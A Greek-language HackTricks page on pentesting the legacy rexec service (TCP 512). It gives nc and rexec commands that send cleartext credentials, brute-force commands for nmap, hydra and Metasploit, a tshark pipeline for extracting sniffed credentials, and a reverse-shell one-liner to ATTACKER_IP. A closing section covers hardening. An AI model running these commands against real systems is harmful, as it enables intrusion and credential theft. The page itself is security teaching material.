512 - Pentesting Rexec

Reading time: 5 minutes

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Basic Information

Rexec (remote exec) είναι μία από τις αρχικές υπηρεσίες r-services του Berkeley (μαζί με το rlogin, rsh, …). Παρέχει τη δυνατότητα εκτέλεσης απομακρυσμένων εντολών με αυθεντικοποίηση μόνο με ένα όνομα χρήστη και κωδικό πρόσβασης σε καθαρό κείμενο. Το πρωτόκολλο ορίστηκε στις αρχές της δεκαετίας του 1980 (βλ. RFC 1060) και σήμερα θεωρείται ανασφαλές εκ του σχεδιασμού. Παρ' όλα αυτά, είναι ακόμα ενεργοποιημένο από προεπιλογή σε ορισμένο κληρονομημένο εξοπλισμό UNIX / δικτυακά συνδεδεμένο και εμφανίζεται περιστασιακά κατά τη διάρκεια εσωτερικών pentests.

Default Port: TCP 512 (exec)

PORT    STATE SERVICE
512/tcp open  exec

🔥 Όλη η κίνηση – συμπεριλαμβανομένων των διαπιστευτηρίων – μεταδίδεται χωρίς κρυπτογράφηση. Οποιοσδήποτε έχει τη δυνατότητα να παρακολουθήσει το δίκτυο μπορεί να ανακτήσει το όνομα χρήστη, τον κωδικό πρόσβασης και την εντολή.

Γρήγορη ματιά στο πρωτόκολλο

  1. Ο πελάτης συνδέεται στο TCP 512.
  2. Ο πελάτης στέλνει τρεις NUL-τερματισμένες συμβολοσειρές:
  • τον αριθμό θύρας (ως ASCII) όπου επιθυμεί να λάβει stdout/stderr (συχνά 0),
  • το όνομα χρήστη,
  • τον κωδικό πρόσβασης.
  1. Στέλνεται μια τελική NUL-τερματισμένη συμβολοσειρά με την εντολή που πρέπει να εκτελεστεί.
  2. Ο διακομιστής απαντά με ένα μόνο byte κατάστασης 8-bit (0 = επιτυχία, 1 = αποτυχία) ακολουθούμενο από την έξοδο της εντολής.

Αυτό σημαίνει ότι μπορείτε να αναπαραγάγετε την ανταλλαγή με τίποτα περισσότερο από echo -e και nc:

bash
(echo -ne "0\0user\0password\0id\0"; cat) | nc <target> 512

Αν τα διαπιστευτήρια είναι έγκυρα, θα λάβετε την έξοδο του id απευθείας πίσω στην ίδια σύνδεση.

Χειροκίνητη χρήση με τον πελάτη

Πολλές διανομές Linux εξακολουθούν να περιλαμβάνουν τον παλιό πελάτη μέσα στο πακέτο inetutils-rexec / rsh-client:

bash
rexec -l user -p password <target> "uname -a"

Αν το -p παραλειφθεί, ο πελάτης θα ζητήσει διαδραστικά τον κωδικό πρόσβασης (ορατός στο δίκτυο σε καθαρό κείμενο!).


Αριθμητική & Βίαιη Διείσδυση

Βίαιη Διείσδυση

Nmap

bash
nmap -p 512 --script rexec-info <target>
# Discover service banner and test for stdout port mis-configuration

nmap -p 512 --script rexec-brute --script-args "userdb=users.txt,passdb=rockyou.txt" <target>

Το rexec-brute NSE χρησιμοποιεί το πρωτόκολλο που περιγράφηκε παραπάνω για να δοκιμάσει διαπιστευτήρια πολύ γρήγορα.

Hydra / Medusa / Ncrack

bash
hydra -L users.txt -P passwords.txt rexec://<target> -s 512 -t 8

hydra έχει ένα ειδικό rexec module και παραμένει ο ταχύτερος offline bruteforcer. medusa (-M REXEC) και ncrack (rexec module) μπορούν να χρησιμοποιηθούν με τον ίδιο τρόπο.

Metasploit

use auxiliary/scanner/rservices/rexec_login
set RHOSTS <target>
set USER_FILE users.txt
set PASS_FILE passwords.txt
run

Το module θα δημιουργήσει ένα shell σε περίπτωση επιτυχίας και θα αποθηκεύσει τα διαπιστευτήρια στη βάση δεδομένων.


Sniffing credentials

Επειδή όλα είναι σε καθαρό κείμενο, οι καταγραφές δικτύου είναι ανεκτίμητες. Με ένα αντίγραφο της κίνησης μπορείτε να εξάγετε τα creds χωρίς να αγγίξετε τον στόχο:

bash
tshark -r traffic.pcap -Y 'tcp.port == 512' -T fields -e data.decoded | \
awk -F"\\0" '{print $2":"$3" -> "$4}'  # username:password -> command

(In Wireshark enable Decode As …​ TCP 512 → REXEC για να δείτε τα πεδία με ωραία ανάλυση.)


Συμβουλές Μετά την Εκμετάλλευση

  • Οι εντολές εκτελούνται με τα δικαιώματα του παρεχόμενου χρήστη. Αν το /etc/pam.d/rexec είναι κακώς διαμορφωμένο (π.χ. pam_rootok), οι ρίζες μπορεί μερικές φορές να είναι δυνατές.
  • Το Rexec αγνοεί το κέλυφος του χρήστη και εκτελεί την εντολή μέσω του /bin/sh -c <cmd>. Μπορείτε επομένως να χρησιμοποιήσετε τυπικά κόλπα διαφυγής κέλυφους (;, $( ), backticks) για να αλυσσοδέσετε πολλές εντολές ή να δημιουργήσετε αντίστροφες ρίζες:
bash
rexec -l user -p pass <target> 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"'
  • Οι κωδικοί πρόσβασης συχνά αποθηκεύονται στο ~/.netrc σε άλλα συστήματα. Αν παραβιάσετε έναν υπολογιστή, μπορεί να τους επαναχρησιμοποιήσετε για πλευρική κίνηση.

Σκληροποίηση / Ανίχνευση

  • Μην εκθέτετε το rexec; αντικαταστήστε το με SSH. Σχεδόν όλοι οι σύγχρονοι inetd superservers σχολιάζουν την υπηρεσία από προεπιλογή.
  • Αν πρέπει να το διατηρήσετε, περιορίστε την πρόσβαση με TCP wrappers (/etc/hosts.allow) ή κανόνες τείχους προστασίας και επιβάλετε ισχυρούς κωδικούς πρόσβασης ανά λογαριασμό.
  • Παρακολουθήστε την κίνηση προς το :512 και για εκκινήσεις διεργασιών rexecd. Μια μόνο σύλληψη πακέτου είναι αρκετή για να ανιχνεύσετε μια παραβίαση.
  • Απενεργοποιήστε το rexec, rlogin, rsh μαζί – μοιράζονται τις περισσότερες από τις ίδιες βάσεις κώδικα και αδυναμίες.

Αναφορές

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks